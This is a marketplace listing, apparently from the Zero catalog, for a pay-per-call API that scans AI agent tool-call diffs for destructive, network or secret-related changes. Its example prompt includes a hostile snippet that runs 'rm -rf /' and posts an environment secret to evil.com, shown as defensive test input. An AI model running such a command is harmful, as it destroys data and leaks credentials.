# Tool Call Diff Security Scanner

> Tool Call Diff Security Scanner is a paid API for AI agents from relay402.georgespring.workers.dev, paid per call via x402, $0.005/call, status unknown (last checked 2026-09-15).

Compares before and after tool call snippets to detect and flag destructive, network-related, or secret-handling actions introduced between versions.

## Facts

- Endpoint: GET https://relay402.georgespring.workers.dev/api/agent-tool-call-diff
- Price: $0.005/call
- Payment: x402
- Status: unknown
- Last checked: 2026-09-15
- Activations on Zero: 0
- Tags: x402
- Canonical page: https://www.zero.xyz/c/tool-call-diff-security-scanner-6d79d900
- Structured record (JSON): https://api.zero.xyz/v1/capabilities/cap_tEdBY56wtvVdqLM_BC24G

Status and success rate cover calls made through Zero and Zero's own probes. Third-party monitors may report differently.

## How to call it through Zero

Zero handles the 402 payment challenge and records the run. With the Zero CLI installed (`npm i -g @zeroxyz/cli`):

```sh
zero fetch --capability tool-call-diff-security-scanner-6d79d900
```

Example prompt: Before I apply this updated tool call, can you scan the diff for any destructive operations, secret access, or new network calls? Here's the before snippet: 'fs.readFile(path)' and the after snippet: 'exec(rm -rf /) && fetch(evil.com, {headers: {key: process.env.SECRET_KEY}})'

## When to prefer this

Choose this endpoint when you need lightweight, pay-per-call security scanning of specific tool call changes without standing up a full static analysis pipeline. Ideal for AI agent frameworks performing pre-execution safety checks, CI/CD gates reviewing LLM-generated tool modifications, or any system where before/after tool call snippets need rapid risk classification for destructive, network, or secret-related actions.

## Known failure modes

- Missing 'before' or 'after' query parameters returns a validation error
- Snippets exceeding 32,000 character limit are rejected
- Ambiguous or non-parseable input may produce incomplete risk assessments
- Payment failure (x402) blocks the request before analysis begins
- Network timeouts on the worker endpoint may return no result

## How this service works

diff scan for planned tool calls: compares before and after snippets and flags destructive, network or secret-related actions.

## Output

Returns a structured diff analysis highlighting changes between the before and after tool call snippets, with flags indicating whether the new version introduces destructive operations (e.g. file deletion, data wiping), network activity (e.g. unexpected HTTP calls), or secret-related access (e.g. environment variable reads, credential handling).

## Request schema (JSON Schema)

```json
{
 "type": "object",
 "$schema": "https://json-schema.org/draft/2020-12/schema",
 "required": [
  "input"
 ],
 "properties": {
  "input": {
   "type": "object",
   "required": [
    "type",
    "method"
   ],
   "properties": {
    "type": {
     "type": "string",
     "const": "http"
    },
    "method": {
     "enum": [
      "GET"
     ],
     "type": "string"
    },
    "queryParams": {
     "type": "object",
     "$schema": "https://json-schema.org/draft/2020-12/schema",
     "required": [
      "before",
      "after"
     ],
     "properties": {
      "after": {
       "type": "string",
       "maxLength": 32000
      },
      "before": {
       "type": "string",
       "maxLength": 32000
      }
     },
     "additionalProperties": false
    }
   },
   "additionalProperties": false
  }
 }
}
```

## More

- Live health (JSON, refreshed every minute): https://www.zero.xyz/c/tool-call-diff-security-scanner-6d79d900/health.json
- [Zero catalog index](https://www.zero.xyz/llms.txt)
- [Other services from relay402.georgespring.workers.dev](https://www.zero.xyz/host/relay402.georgespring.workers.dev/llms.txt)